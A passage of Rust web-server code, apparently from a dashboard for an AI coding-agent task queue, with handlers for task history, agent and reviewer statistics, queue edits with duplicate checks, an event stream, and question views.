6468 .map_or((true, task.created_at), |at| (false, at))
6469 });
6470 } else {
6471 slots.sort_by_key(|(_, _, _, position)| *position);
6472 }
6473 let mut history = Vec::with_capacity(slots.len());
6474 let mut seen: Vec<&str> = Vec::new();
6475 let mut prior: Option<(&str, RunStatus)> = None;
6476 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6477 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6478 let resumed = k > 0;
6479 seen.push(run_id);
6480 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6481 let pass = pass.as_ref();
6482 let settled = pass.and_then(|p| {
6483 task.passes
6484 .iter()
6485 .find(|t| t.run == **run_id && t.pass_index == p.index)
6486 });
6487 history.push(task_run_view(
6488 run_id,
6489 state.as_ref(),
6490 RunSlot {
6491 n: i + 1,
6492 resumed,
6493 resumed_later: slots[i + 1..]
6494 .iter()
6495 .position(|(id, _, _, _)| id == run_id)
6496 .map(|off| i + off + 2),
6497 prior,
6498 last: i + 1 == slots.len(),
6499 pass,
6500 settled,
6501 pass_n: k + 1,
6502 passes_of_run: total,
6503 },
6504 task,
6505 ));
6506 if let Some(s) = &state {
6507 prior = Some((run::short_of(run_id), s.status));
6508 }
6509 }
6510 history
6511}
6512
6513fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6516 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6517 return;
6518 }
6519 let (_, claimed, _) = run_row_inputs(ui);
6520 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6521 for h in history
6522 .iter_mut()
6523 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6524 {
6525 let Ok(state) = read_run(&ui.runs, &h.id) else {
6526 continue;
6527 };
6528 if state.status.done() {
6529 continue;
6530 }
6531 let live = state.liveness_with(
6532 claimed.contains(&h.id),
6533 |p| probe.borrow_mut().status(p),
6534 |p| probe.borrow_mut().started_at(p),
6535 );
6536 let waiting = !ui.questions.open_for(&h.id).is_empty();
6537 let display = run_display_status(&state, waiting, live);
6538 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6539 if matches!(word.as_str(), "stale" | "superseded")
6540 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6541 {
6542 h.badge = Some(word);
6543 }
6544 }
6545}
6546
6547async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6548 blocking(move || {
6549 let id = resolve_task(&ui.queue, &id)?;
6550 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6551 })
6552 .await
6553}
6554
6555async fn task_detail(
6556 State(ui): State<Arc<Ui>>,
6557 Path(id): Path<String>,
6558) -> ApiResult<Json<TaskDetailView>> {
6559 blocking(move || {
6560 let id = resolve_task(&ui.queue, &id)?;
6561 let task = ui
6562 .queue
6563 .get(&id)
6564 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6565 let inv = if task.status == TaskStatus::Blocked {
6566 Some(crate::blockers::Inventory::load_for(
6567 &ui.queue,
6568 &ui.questions,
6569 &task,
6570 ))
6571 } else {
6572 None
6573 };
6574 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6575 mark_badges(&ui, &task, &mut history);
6576 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6577 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6578 let origin = task.followup.as_ref().map(|fu| {
6579 followup_origin(
6580 fu,
6581 |tid| ui.queue.get(tid).ok(),
6582 |rid| read_run(&ui.runs, rid).ok(),
6583 )
6584 });
6585 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6586 let task_view = match inv.as_ref() {
6587 Some(inv) => TaskView::with_inventory(task, inv),
6588 None => TaskView::from(task),
6589 };
6590 Ok(Json(TaskDetailView {
6591 max_attempts,
6592 flow,
6593 followup_origin: origin,
6594 passes_total: history.len(),
6595 runs_distinct: distinct_runs(&task_view.task.runs),
6596 history,
6597 runs_unreadable,
6598 attempts_note: ATTEMPTS_NOTE,
6599 task: task_view,
6600 }))
6601 })
6602 .await
6603}
6604
6605#[derive(Debug, Serialize)]
6609struct RateView {
6610 pct: f64,
6611 denominator: usize,
6612}
6613
6614impl RateView {
6615 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6616 (denominator > 0).then(|| Self {
6617 pct: 100.0 * numerator as f64 / denominator as f64,
6618 denominator,
6619 })
6620 }
6621}
6622
6623#[derive(Debug, Serialize)]
6628struct StatsTotalsView {
6629 runs: usize,
6630 merged: usize,
6631 ready: usize,
6632 blocked: usize,
6633 failed: usize,
6634 stalled: usize,
6635 verified_noop: usize,
6636 superseded: usize,
6637 in_progress: usize,
6638 completion_rate: Option<RateView>,
6639 tallied: usize,
6640 split: usize,
6641 split_rate: Option<RateView>,
6642 deliberated: usize,
6643 minds_changed: usize,
6644 converged: usize,
6645 review_rounds: usize,
6646}
6647
6648impl From<&stats::Totals> for StatsTotalsView {
6649 fn from(t: &stats::Totals) -> Self {
6650 Self {
6651 runs: t.runs,
6652 merged: t.merged,
6653 ready: t.ready,
6654 blocked: t.blocked,
6655 failed: t.failed,
6656 stalled: t.stalled,
6657 verified_noop: t.verified_noop,
6658 superseded: t.superseded,
6659 in_progress: t.in_progress,
6660 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6661 tallied: t.tallied,
6662 split: t.split,
6663 split_rate: RateView::of(t.split, t.tallied),
6664 deliberated: t.deliberated,
6665 minds_changed: t.minds_changed,
6666 converged: t.converged,
6667 review_rounds: t.review_rounds,
6668 }
6669 }
6670}
6671
6672#[derive(Debug, Serialize)]
6674struct AgentStatsView {
6675 agent: String,
6676 entered: usize,
6677 wins: usize,
6678 empty: usize,
6679 win_rate: Option<RateView>,
6680 competitive_entered: usize,
6681 competitive_wins: usize,
6682 competitive_win_rate: Option<RateView>,
6683 solo_entered: usize,
6684 solo_adopted: usize,
6685 solo_adoption_rate: Option<RateView>,
6686}
6687
6688impl From<&stats::AgentStats> for AgentStatsView {
6689 fn from(a: &stats::AgentStats) -> Self {
6690 Self {
6691 agent: a.agent.clone(),
6692 entered: a.entered,
6693 wins: a.wins,
6694 empty: a.empty,
6695 win_rate: RateView::of(a.wins, a.entered),
6696 competitive_entered: a.competitive_entered,
6697 competitive_wins: a.competitive_wins,
6698 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6699 solo_entered: a.solo_entered,
6700 solo_adopted: a.solo_adopted,
6701 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6702 }
6703 }
6704}
6705
6706#[derive(Debug, Serialize)]
6710struct ReviewerStatsView {
6711 agent: String,
6712 rounds: usize,
6713 seated: usize,
6714 submitted: usize,
6715 adopted: usize,
6716 unique: usize,
6717 timeouts: usize,
6718 adopted_per_round: Option<f64>,
6719 precision: Option<RateView>,
6720 unique_rate: Option<RateView>,
6721 timeout_rate: Option<RateView>,
6722}
6723
6724impl From<&stats::ReviewerStats> for ReviewerStatsView {
6725 fn from(r: &stats::ReviewerStats) -> Self {
6726 Self {
6727 agent: r.agent.clone(),
6728 rounds: r.rounds,
6729 seated: r.seated,
6730 submitted: r.submitted,
6731 adopted: r.adopted,
6732 unique: r.unique,
6733 timeouts: r.timeouts,
6734 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6735 precision: RateView::of(r.adopted, r.submitted),
6736 unique_rate: RateView::of(r.unique, r.submitted),
6737 timeout_rate: RateView::of(r.timeouts, r.seated),
6738 }
6739 }
6740}
6741
6742#[derive(Debug, Serialize)]
6748struct AdvisorStatsView {
6749 agent: String,
6750 seated: usize,
6751 proposed: usize,
6752 absent: usize,
6753 faint: usize,
6754 strong: usize,
6755 reflection_rate: Option<RateView>,
6756}
6757
6758impl From<&stats::AdvisorStats> for AdvisorStatsView {
6759 fn from(a: &stats::AdvisorStats) -> Self {
6760 Self {
6761 agent: a.agent.clone(),
6762 seated: a.seated,
6763 proposed: a.proposed,
6764 absent: a.absent,
6765 faint: a.faint,
6766 strong: a.strong,
6767 reflection_rate: RateView::of(a.strong, a.proposed),
6768 }
6769 }
6770}
6771
6772#[derive(Debug, Serialize)]
6774struct E2eStatsView {
6775 rounds: usize,
6776 failures: usize,
6777 sole_detections: usize,
6778 deferred: usize,
6779 sole_rate: Option<RateView>,
6780}
6781
6782impl From<&stats::E2eStats> for E2eStatsView {
6783 fn from(e: &stats::E2eStats) -> Self {
6784 Self {
6785 rounds: e.rounds,
6786 failures: e.failures,
6787 sole_detections: e.sole_detections,
6788 deferred: e.deferred,
6789 sole_rate: RateView::of(e.sole_detections, e.failures),
6790 }
6791 }
6792}
6793
6794#[derive(Debug, Serialize)]
6802struct ReleaseBumpStatsView {
6803 merged: usize,
6804 recorded: usize,
6805 pr_opened: usize,
6806 automerge_enabled: usize,
6807 merged_directly: usize,
6808 needs_attention: usize,
6809 clean: usize,
6810 coverage_rate: Option<RateView>,
6811 automerge_rate: Option<RateView>,
6812 attention_rate: Option<RateView>,
6813}
6814
6815impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6816 fn from(b: &stats::ReleaseBumpStats) -> Self {
6817 Self {
6818 merged: b.merged,
6819 recorded: b.recorded,
6820 pr_opened: b.pr_opened,
6821 automerge_enabled: b.automerge_enabled,
6822 merged_directly: b.merged_directly,
6823 needs_attention: b.needs_attention,
6824 clean: b.clean(),
6825 coverage_rate: RateView::of(b.recorded, b.merged),
6826 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6827 attention_rate: RateView::of(b.needs_attention, b.recorded),
6828 }
6829 }
6830}
6831
6832#[derive(Debug, Serialize)]
6834struct TaskCountsView {
6835 queued: usize,
6836 running: usize,
6837 done: usize,
6838 failed: usize,
6839 held: usize,
6840 blocked: usize,
6841 parked: usize,
6842}
6843
6844impl From<crate::queue::TaskCounts> for TaskCountsView {
6845 fn from(c: crate::queue::TaskCounts) -> Self {
6846 Self {
6847 queued: c.queued,
6848 running: c.running,
6849 done: c.done,
6850 failed: c.failed,
6851 held: c.held,
6852 blocked: c.blocked,
6853 parked: c.parked,
6854 }
6855 }
6856}
6857
6858#[derive(Debug, Serialize)]
6864struct RepoSummaryView {
6865 repo: String,
6868 name: String,
6870 runs: usize,
6871 completion_rate: Option<RateView>,
6872}
6873
6874impl From<&stats::RepoStats> for RepoSummaryView {
6875 fn from(r: &stats::RepoStats) -> Self {
6876 let t = &r.stats.totals;
6877 Self {
6878 repo: r.repo.to_string_lossy().into_owned(),
6879 name: r.name.clone(),
6880 runs: t.runs,
6881 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6882 }
6883 }
6884}
6885
6886#[derive(Debug, Serialize)]
6892struct StatsView {
6893 totals: StatsTotalsView,
6894 agents: Vec<AgentStatsView>,
6896 reviewers: Vec<ReviewerStatsView>,
6898 advisors: Vec<AdvisorStatsView>,
6900 e2e: E2eStatsView,
6901 release_bumps: ReleaseBumpStatsView,
6902 queue: Option<TaskCountsView>,
6903 runs_unreadable: usize,
6913 repos: Vec<RepoSummaryView>,
6917 daily: Vec<DailyStatsView>,
6922 repo: Option<String>,
6926 retired_hidden: Vec<String>,
6930}
6931
6932#[derive(Debug, Serialize)]
6934struct DailyStatsView {
6935 date: String,
6937 runs: usize,
6938 merged: usize,
6939 ready: usize,
6940 other: usize,
6941 completion_rate: Option<RateView>,
6943}
6944
6945impl From<&stats::DayBucket> for DailyStatsView {
6946 fn from(b: &stats::DayBucket) -> Self {
6947 Self {
6948 date: b.date.to_string(),
6949 runs: b.runs,
6950 merged: b.merged,
6951 ready: b.ready,
6952 other: b.other,
6953 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6954 }
6955 }
6956}
6957
6958const STATS_DAILY_DAYS: usize = 30;
6960
6961#[derive(Debug, Default, Deserialize)]
6970#[serde(default)]
6971struct StatsQuery {
6972 repo: Option<String>,
6973 all: bool,
6975 runs_only: bool,
6977}
6978
6979async fn stats_get(
6986 State(ui): State<Arc<Ui>>,
6987 Query(q): Query<StatsQuery>,
6988) -> ApiResult<Json<StatsView>> {
6989 blocking(move || {
6990 let states: Vec<RunState> = run_ids(&ui.runs)
6991 .into_iter()
6992 .filter_map(|id| read_run(&ui.runs, &id).ok())
6993 .collect();
6994 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6995 .iter()
6996 .map(RepoSummaryView::from)
6997 .collect();
6998 let mut scoped: Vec<&RunState> = states.iter().collect();
6999 let mut collected = match &q.repo {
7000 Some(repo) => {
7001 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7002 if filtered.is_empty() {
7003 return Err(ApiError::not_found(format!(
7004 "no runs recorded against repo `{repo}`"
7005 )));
7006 }
7007 scoped = filtered.clone();
7008 stats::collect_refs(filtered)
7009 }
7010 None => stats::collect(&states),
7011 };
7012 if !q.all {
7013 let repo = q
7014 .repo
7015 .as_deref()
7016 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7017 stats::retain_current_roster(&mut collected, &repo);
7018 }
7019 let daily = stats::daily(
7020 scoped,
7021 jiff::Zoned::now().date(),
7022 &jiff::tz::TimeZone::system(),
7023 STATS_DAILY_DAYS,
7024 );
7025 let queue_counts = (!q.runs_only)
7026 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7027 Ok(Json(StatsView {
7028 totals: StatsTotalsView::from(&collected.totals),
7029 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7030 reviewers: collected
7031 .reviewers
7032 .iter()
7033 .map(ReviewerStatsView::from)
7034 .collect(),
7035 advisors: collected
7036 .advisors
7037 .iter()
7038 .map(AdvisorStatsView::from)
7039 .collect(),
7040 e2e: E2eStatsView::from(&collected.e2e),
7041 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7042 queue: queue_counts,
7043 runs_unreadable: runs_unreadable(&ui.runs),
7044 repos,
7045 daily: daily.iter().map(DailyStatsView::from).collect(),
7046 repo: q.repo.clone(),
7047 retired_hidden: collected.retired_hidden.clone(),
7048 }))
7049 })
7050 .await
7051}
7052
7053#[derive(Debug, Default, Deserialize)]
7056#[serde(default, deny_unknown_fields)]
7057struct HoldBody {
7058 reason: Option<String>,
7059}
7060
7061async fn queue_hold(
7062 State(ui): State<Arc<Ui>>,
7063 Path(id): Path<String>,
7064 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7065) -> ApiResult<Json<TaskView>> {
7066 let body = match body {
7070 Ok(Json(body)) => body,
7071 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7072 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7073 };
7074 let reason = body.reason.filter(|r| !r.trim().is_empty());
7075 mutate(ui, id, move |t| {
7076 t.hold_manual(reason.clone());
7077 Ok(())
7078 })
7079 .await
7080}
7081
7082async fn queue_release(
7083 State(ui): State<Arc<Ui>>,
7084 Path(id): Path<String>,
7085) -> ApiResult<Json<TaskView>> {
7086 mutate(ui, id, |t| {
7087 t.release_operator("web", None);
7088 Ok(())
7089 })
7090 .await
7091}
7092
7093#[derive(Debug, Deserialize)]
7094#[serde(deny_unknown_fields)]
7095struct AttemptLimitBody {
7096 attempt_limit: serde_json::Value,
7098}
7099
7100async fn queue_attempt_limit(
7101 State(ui): State<Arc<Ui>>,
7102 Path(id): Path<String>,
7103 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7104) -> ApiResult<Json<TaskView>> {
7105 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7106 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7107 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7108 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7109}
7110
7111#[derive(Debug, Deserialize)]
7112#[serde(deny_unknown_fields)]
7113struct ImplementersBody {
7114 implementers: u8,
7115}
7116
7117async fn queue_implementers(
7118 State(ui): State<Arc<Ui>>,
7119 Path(id): Path<String>,
7120 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7121) -> ApiResult<Json<TaskView>> {
7122 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7123 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7124}
7125
7126#[derive(Debug, Deserialize)]
7127#[serde(deny_unknown_fields)]
7128struct UrgentBody {
7129 urgent: bool,
7130}
7131
7132async fn queue_urgent(
7133 State(ui): State<Arc<Ui>>,
7134 Path(id): Path<String>,
7135 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7136) -> ApiResult<Json<TaskView>> {
7137 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7138 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7139}
7140
7141#[derive(Debug, Deserialize)]
7143#[serde(deny_unknown_fields)]
7144struct PriorityBody {
7145 priority: i32,
7146}
7147
7148async fn queue_priority(
7154 State(ui): State<Arc<Ui>>,
7155 Path(id): Path<String>,
7156 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7157) -> ApiResult<Json<TaskView>> {
7158 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7159 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7160}
7161
7162#[derive(Debug, Deserialize)]
7164#[serde(deny_unknown_fields)]
7165struct EditBody {
7166 title: String,
7167 instruction: String,
7168 #[serde(default)]
7171 force: bool,
7172}
7173
7174async fn queue_edit(
7178 State(ui): State<Arc<Ui>>,
7179 Path(id): Path<String>,
7180 body: std::result::Result<Json<EditBody>, JsonRejection>,
7181) -> ApiResult<Json<TaskView>> {
7182 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7183 let mut judged: Option<(String, PathBuf)> = None;
7187 if !body.force {
7188 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7189 let (id, text) = (id.clone(), body.instruction.clone());
7190 let (seen, hits) = blocking(move || {
7191 let id = resolve_task(&queue, &id)?;
7192 let t = queue.get(&id)?;
7193 if text == t.instruction {
7194 return Ok((None, Vec::new()));
7195 }
7196 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7197 Ok((Some((t.instruction, t.repo)), hits))
7198 })
7199 .await?;
7200 if let Some((_, repo)) = &seen {
7201 let cfg = crate::config::Config::discover(repo, None)
7202 .ok()
7203 .map(|(c, _)| c);
7204 let screened =
7205 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7206 .await
7207 .map_err(|dup| {
7208 ApiError::conflict(dup.render(
7209 "Nothing was saved. If it is not a duplicate, repeat the request \
7210 with \"force\": true.",
7211 ))
7212 })?;
7213 if let crate::dupes::Screened::Unjudged(why) = screened {
7214 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7215 }
7216 }
7217 judged = seen;
7218 }
7219 let force = body.force;
7220 mutate(ui, id, move |t| {
7221 if !force && body.instruction != t.instruction {
7222 match &judged {
7223 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7224 _ => {
7225 anyhow::bail!("the task changed while it was being checked; repeat the request")
7226 }
7227 }
7228 }
7229 t.edit(body.title.clone(), body.instruction.clone())
7230 })
7231 .await
7232}
7233
7234async fn queue_done(
7242 State(ui): State<Arc<Ui>>,
7243 Path(id): Path<String>,
7244) -> ApiResult<Json<TaskView>> {
7245 let home = ui.home.clone();
7246 mutate(ui, id, move |t| {
7247 t.succeed();
7248 crate::daemon::supersede_prior_runs(t, &home);
7256 Ok(())
7257 })
7258 .await
7259}
7260
7261async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7269 blocking(move || {
7270 let id = resolve_task(&ui.queue, &id)?;
7271 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7272 ui.queue
7273 .remove(&id, in_flight, &ui.questions)
7274 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7275 Ok(StatusCode::NO_CONTENT)
7276 })
7277 .await
7278}
7279
7280async fn mutate(
7289 ui: Arc<Ui>,
7290 id: String,
7291 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7292) -> ApiResult<Json<TaskView>> {
7293 blocking(move || {
7294 let id = resolve_task(&ui.queue, &id)?;
7295 let _claim = ui.queue.claim(&id).map_err(|e| {
7300 ApiError::conflict(format!(
7301 "{e:#} - a daemon is running this task, so it cannot be \
7302 changed from here yet; wait until it is released, then retry"
7303 ))
7304 })?;
7305 let mut task = ui.queue.get(&id)?;
7306 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7307 Ok(dup) => ApiError::conflict(dup.render(
7308 "Nothing was saved. If it is not a duplicate, repeat the request with \
7309 \"force\": true.",
7310 )),
7311 Err(e) => ApiError::bad_request_from(e),
7312 })?;
7313 ui.queue.put(&mut task)?;
7314 Ok(Json(TaskView::from(task)))
7315 })
7316 .await
7317}
7318
7319async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7324 ui.monitor.ensure_worker(&ui);
7325 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7326 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7327
7328 let state = Arc::clone(&ui);
7329 tokio::spawn(async move {
7330 let initial_revisions = {
7331 let guard = match state.monitor.latest.lock() {
7332 Ok(g) => g,
7333 Err(p) => p.into_inner(),
7334 };
7335 guard.as_ref().map(|(r, _)| *r)
7336 };
7337 if let Some(revisions) = initial_revisions {
7338 let initial_payload = serde_json::json!({
7339 "queue_rev": revisions.0,
7340 "runs_rev": revisions.1,
7341 "questions_rev": revisions.2,
7342 "talks_rev": revisions.3,
7343 "notifications_rev": revisions.4,
7344 "loop_rev": revisions.5,
7345 });
7346
7347 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7348 if tx.send(event).await.is_err() {
7349 return;
7350 }
7351 }
7352 }
7353
7354 loop {
7355 match tokio::select! {
7356 _ = tx.closed() => return,
7357 value = broadcast_rx.recv() => value,
7358 } {
7359 Ok(notif) => {
7360 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7361 else {
7362 break;
7363 };
7364 if tx.send(event).await.is_err() {
7365 break;
7366 }
7367 }
7368 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7369 let revs = {
7370 let guard = match state.monitor.latest.lock() {
7371 Ok(g) => g,
7372 Err(p) => p.into_inner(),
7373 };
7374 guard.as_ref().map(|(r, _)| *r)
7375 };
7376 if let Some(revs) = revs {
7377 let payload = serde_json::json!({
7378 "queue_rev": revs.0,
7379 "runs_rev": revs.1,
7380 "questions_rev": revs.2,
7381 "talks_rev": revs.3,
7382 "notifications_rev": revs.4,
7383 "loop_rev": revs.5,
7384 });
7385 if let Ok(event) = Event::default().event("change").json_data(payload) {
7386 if tx.send(event).await.is_err() {
7387 break;
7388 }
7389 }
7390 }
7391 }
7392 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7393 break;
7394 }
7395 }
7396 }
7397 });
7398
7399 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7400 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7401}
7402
7403fn run_ids(runs: &FsPath) -> Vec<String> {
7409 let mut ids: Vec<String> = std::fs::read_dir(runs)
7410 .into_iter()
7411 .flatten()
7412 .flatten()
7413 .filter(|e| e.path().join("run.json").is_file())
7414 .map(|e| e.file_name().to_string_lossy().into_owned())
7415 .collect();
7416 ids.sort_unstable_by(|a, b| b.cmp(a));
7418 ids
7419}
7420
7421fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7423 let path = runs.join(id).join("run.json");
7424 let body =
7425 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7426 let state: RunState =
7427 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7428 run::migrate_schema(state)
7433}
7434
7435#[must_use]
7443pub fn runs_unreadable(runs: &FsPath) -> usize {
7444 run_ids(runs)
7445 .into_iter()
7446 .filter(|id| read_run(runs, id).is_err())
7447 .count()
7448}
7449
7450fn plain_record_id(id: &str) -> bool {
7451 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7452}
7453
7454fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7456 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7457 return Ok(id.to_owned());
7458 }
7459 pick(run_ids(runs), id, "run")
7460}
7461
7462fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7464 if plain_record_id(id) && queue.path_of(id).is_file() {
7465 return Ok(id.to_owned());
7466 }
7467 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7468 pick(ids, id, "task")
7469}
7470
7471#[derive(Debug, Serialize)]
7482struct QuestionView {
7483 choice_effects: std::collections::BTreeMap<String, String>,
7484 record_revision: String,
7485 #[serde(flatten)]
7486 question: Question,
7487 detail_md: Vec<md::Node>,
7488 posting_view: Option<PostingView>,
7489 thread_bodies_md: Vec<Vec<md::Node>>,
7491 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7494 waiting_on_agent: bool,
7504 holder: Option<&'static str>,
7508 deputies_enabled: bool,
7512 deputy_exhausted: bool,
7515 text_delivery: crate::question_delivery::Availability,
7516 run_is_task: bool,
7519 origin_chat: Option<String>,
7522 origin_chat_closed: bool,
7524 can_consult_chat: bool,
7526}
7527
7528#[derive(Debug, Serialize)]
7529struct PostingView {
7530 before_md: Vec<md::Node>,
7531 after_md: Vec<md::Node>,
7532 fields: Vec<crate::github_text::ComparisonView>,
7533}
7534
7535fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7536 let comparison = question.posting_comparison.as_ref()?;
7537 if !comparison.matches_detail(&question.detail) {
7538 return None;
7539 }
7540 let mut ids = std::collections::BTreeSet::new();
7541 if comparison.fields.is_empty()
7542 || comparison
7543 .fields
7544 .iter()
7545 .flat_map(|f| &f.pairs)
7546 .any(|p| !ids.insert(p.id))
7547 || comparison
7548 .fields
7549 .iter()
7550 .flat_map(|f| &f.original_triggers)
7551 .any(|t| !ids.insert(t.id))
7552 {
7553 return None;
7554 }
7555 let fields = comparison
7556 .fields
7557 .iter()
7558 .map(|f| f.view(comparison.excerpt))
7559 .collect::<Option<Vec<_>>>()?;
7560 Some(PostingView {
7561 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7562 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7563 fields,
7564 })
7565}
7566
7567impl QuestionView {
7568 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7572 let base = md::ImageBase::QuestionPanel {
7573 id: question.id.clone(),
7574 };
7575 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7576 Self {
7577 choice_effects: question
7578 .choices
7579 .iter()
7580 .filter_map(|c| {
7581 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7582 })
7583 .collect(),
7584 record_revision: question_record_revision(&question),
7585 detail_md: md::to_nodes(&question.detail, &base),
7586 posting_view: posting_view(&question, &base),
7587 thread_bodies_md: question
7588 .thread
7589 .iter()
7590 .map(|t| md::to_nodes(&t.body, &base))
7591 .collect(),
7592 thread_notes_md: question
7593 .thread
7594 .iter()
7595 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7596 .collect(),
7597 deputy_exhausted: store.deputy_exhausted(&question),
7598 waiting_on_agent: question.waiting_on_agent(),
7599 holder,
7600 deputies_enabled: deputies_enabled(cfg, &question),
7601 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7602 run_is_task: question.run_names_task(),
7603 origin_chat: None,
7604 origin_chat_closed: false,
7605 can_consult_chat: false,
7606 question,
7607 }
7608 }
7609
7610 fn with_origin(
7612 mut self,
7613 tasks: &[crate::queue::Task],
7614 talks: &[Talk],
7615 watches: &[crate::release_watch::WatchState],
7616 ) -> Self {
7617 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7618 self.can_consult_chat = consult.is_some();
7619 let talk =
7620 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7621 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7622 self.origin_chat = talk.map(|t| t.id);
7623 self
7624 }
7625}
7626
7627fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7631 Config::discover(repo, None).ok().map(|(c, _)| c)
7632}
7633
7634fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7636 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7637}
7638
7639fn question_views(
7642 qs: Vec<Question>,
7643 store: &ask::Questions,
7644 load: impl FnOnce() -> Option<Config>,
7645) -> Vec<QuestionView> {
7646 if qs.is_empty() {
7647 return Vec::new();
7648 }
7649 let cfg = load();
7650 qs.into_iter()
7651 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7652 .collect()
7653}
7654
7655fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7665 if !q.status.open() {
7666 return None;
7667 }
7668 if q.cwd.is_none()
7669 && q.deputy.is_none()
7670 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7671 {
7672 return crate::deputy::kind_of(q).map(|_| "nobody");
7673 }
7674 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7675 Some(_) if q.deputy.is_some() => "deputy",
7676 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7677 Some(_) => "asker",
7678 None => "nobody",
7679 })
7680}
7681
7682async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7688 blocking(move || {
7689 let questions = ui.questions.list();
7690 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
